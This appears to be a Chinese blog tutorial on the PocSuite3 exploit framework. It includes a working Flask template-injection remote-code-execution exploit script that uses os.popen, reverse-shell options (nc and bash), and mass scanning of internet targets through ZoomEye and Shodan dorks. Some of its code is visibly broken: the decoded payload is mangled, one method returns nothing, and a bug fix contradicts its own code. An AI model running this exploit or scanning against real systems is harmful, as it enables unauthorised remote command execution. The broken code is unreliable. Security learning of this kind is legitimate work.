目录
描述
功能介绍
使用
环境
下载
应用
Pocsuite命令行模式
pocsuite3 编写POC脚本
批量验证方式
pocsuite3 编写EXP脚本
pocsuite3 反弹shell 形式
pocsuite3 编写console 形式
PocSuite3从Seebug加载PoC文件
PocSuite3从ZoomEye加载多个测试目标
PocSuite3从Shodan加载多个分析目标
POC注意事项
Windows下Pocsuite写日志url带冒号报错问题
描述
PocSuite3是知道创宇404安全研究团队设计的一款远程漏洞测试以及PoC开发框架,该框架使用了功能极其强大的概念验证引擎,并自带了大量渗透测试以及安全分析功能。
功能介绍
1、PoC脚本能够以attack、verify和shell等多种模式运行;
2、自带插件生态系统;
3、 可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;
4、 可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;
5、 轻松导出测试结果;
6、 支持命令行工具和Python包导入;
7、 支持IPv6;
8、 支持全局HTTP/HTTPS/SOCKS代理;
9、 提供了强大的爬虫API;
10、整合Seebug;
11、整合ZoomEye;
12、整合Shodan;
13、整合Ceye;
14、等等…
使用
PoC脚本能够以attack、verify和shell等多种模式运行
自带插件生态系统;
可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;
可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;
环境
1、 Python 3.4+
2、 Linux、Windows、macOS和BSD
下载
1.在有python环境下直接命令行pip安装pip install pocsuite3
2.Linux使用命令
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
3.或者在github上下载源码包提取源码https://github.com/knownsec/pocsuite3/archive/master.zip
推荐使用源码安装
应用
解压
报错 python cli.py -h
python3 cli.py -h
运行模块
--verity 验证 【POC】
--attack 攻击 【exp】
--shell
--version 版本
Request 统一请求
--cookie
--host
--referer
--user-agent
--random-agent
--proxy
--proxy-cred
--timeout
--retry
--delay
--headers extra headers (e.g."key1:value1\nkey2:value2")
Account Token 接口
Telnet404 account options
--login-user
--login-pass
--shodan-token
--censys-uid
Modules 一些模块接口
--dork (默认为zoomeye搜索搜索引擎)
--dork-zoomeye 搜过关键字
--dork-shodan 搜索关键字
--dork-censys 搜索关键字
--max-page 多少页
--search-type 搜索类型选择API,Web or Host
--vul-keyword seebug关键词搜索
--ssv-id seebug漏洞编号
--lhost shell模式反弹主机
--lport shell模式反弹端口
--comparison 比较两个搜索引擎
optimization 选择项
--plugins 加载插件
--pocs-path poc地址
--threads 开启线程
--batch 自动默认选项
--requires 检测需要安装的模块
--quiet 没有logger
--ppt 隐藏敏感信息
console 模式
python3 console.py进入console模式
Global commands:
help 帮助
use 使用模块
search 搜索模块
list|show all 显示所有模块
exit 退出
Module commands:
run 使用设置的参数运行选中的脚本
back 返回上一步
set 参数名 参数值(当前模块)
setg 参数名 参数值(所有模块)
show info|options|all 打印information,options
check 使用--verify模式
attack 使用--attack模式
exploit 使用--shell模式
比如:
python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
将使用ZoomEye搜索ecshop并使用ecshop_rce.py探测,指定线程数量为5
Pocsuite的运行模式默认是verify验证模式,此时对目标影响最小,也有attack和shell模式,对目标进行相关攻击与shell反弹(当然需要PoC的支持,Pocsuite的PoC编写格式预留了这三种模式的接口,并且有很多内置API帮助实现这三种接口)
Pocsuite命令行模式
Pocsuite有两种交互模式,一个是命令行模式类似我们所知的sqlmap的界面,另一个是控制台交互模式类似w3af或者matasploit的界面。
verify和attack两种POC模式
在使用Pocsuite的时候,我们可以用--verify参数来调用_verify方法,用--attack参数来调用_attack方法。
def _attack(self):
result = {}
#Write your code here
return self.parse_output(result)
def _verify(self):
result = {}
#Write your code here
return self.parse_output(result)
verify 模式:验证目标是否存在漏洞
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify
attack 模式:向目标发起有效的攻击
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack
批量验证,将url写到一个txt
pocsuite3 -r test/poc_example.py -f url.txt --verify
加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)
pocsuite3 -r tests/ -u http://www.example.com --verify
使用多线程,默认线程数为1
pocsuite3 -r test/ -f url.txt --verify --threads 10
这里以flask模板注入漏洞为例:
https://blog.csdn.net/weixin_43650289/article/details/110871326
pocsuite3 编写POC脚本
主要编写poc定义的函数部分去做验证;
poc-flask.py 脚本
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['flask']
name = 'flask'
appPowerLink = 'flask'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''
flask
'''
samples = []
category = POC_CATEGORY.EXPLOITS.REMOTE
def _verify(self):
result = {}
path = "?name="
url = self.url + path
#print(url)
payload = "{
{22*22}}"
#print(payload)
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
加载目标target, 进行操作执行
-f url_file(多个url) 比如:1.txt 存放多个IP 进行批量验证
-r 加载poc文件
-u 路径地址
--verify poc验证模式
python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify
否则不存在
批量验证方式
root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"
搜索漏洞关键字flask, http协议的网址
失败,没扫出来
pocsuite3 编写EXP脚本
主要编写exp定义的函数部分去做攻击;
exp-flask.py 脚本
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['1.1']
name = 'flack'
appPowerLink = 'flack'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''
'''
samples = []
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
def _verify(self):
output = Output(self)
result = {}
def _attack(self):
result = {}
path = "?name="
url = self.url + path
#print(url)
cmd = self.get_option("command")
payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
#print(payload)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(" ","")
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
payload如下:
{% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{
{ b'eval'.popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig
进行command 命令执行,使用exp
pocsuite3 反弹shell 形式
python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --shell
帮助中心
pocsuite3 编写console 形式
root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 console.py
与MSF 命令差不多
PocSuite3从Seebug加载PoC文件
PocSuite3从ZoomEye加载多个测试目标
PocSuite3从Shodan加载多个分析目标
POC注意事项
参照模版来写:模版地址。
引入基础库,尽量避免第三方库。
比较好POC符合:
随机性:检测的数据,发送的数据要随机。
通用性:考虑适应版本,各种不同的情况,操作系统等。
确定性:准确率的问题,这个POC一定能检测出漏洞来吗?
关于CEYE的使用:监视服务以进行安全测试
有时一些漏洞的检测并没有数据回显,如SQL盲注,如命令执行无回显等等。这时可以借助DNS查询nslook或者curl来监控数据。CEYE为我们提供了这样一种服务,地址:http://ceye.io。
Windows下Pocsuite写日志url带冒号报错问题
报错描述
Windows平台使用Pocsuite,当输入的url带有:的时会报错,如下:
[WARNING] unable to create output directory 'C:\Users\Administrator.pocsuite\output\127.0.0.1:8080'
错误分析
原来保存日志记录会选取C:\Users\Administrator.pocsuite\output\拼接上url地址,而windows下文件名不允许含有:,所以才会报错。
所以,不论URL是http://还是带有冒号都会报错,看来pocsuite这边在创建这个文件名的时候名没有检查文件名字是否还有特殊符号呀。
错误解决
手动改代码解决问题:反向追踪哪个文件做了创建文件夹的操作。
经查找,发现该操作代码存在于pocsuite\lib\controller\controller.py文件。
从131行代码开始,定义了一个_setRecordFiles()函数,该函数会创建这么一个文件夹。
def _setRecordFiles():
for (target, pocname, pocid, component, version, status, rtime, result) in kb.results:
if type(status) != str:
status = status[1]
target=target.replace(":","") #这里添加了一行替换代码
outputPath = os.path.join(getUnicode(paths.POCSUITE_OUTPUT_PATH), normalizeUnicode(getUnicode(target)))
可以发现setRecordFiles()函数从kb.results这个数据实例里面取值。我们用target=target.replace(":","")来将:替换成"_",问题解决。
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_43650289/article/details/110871097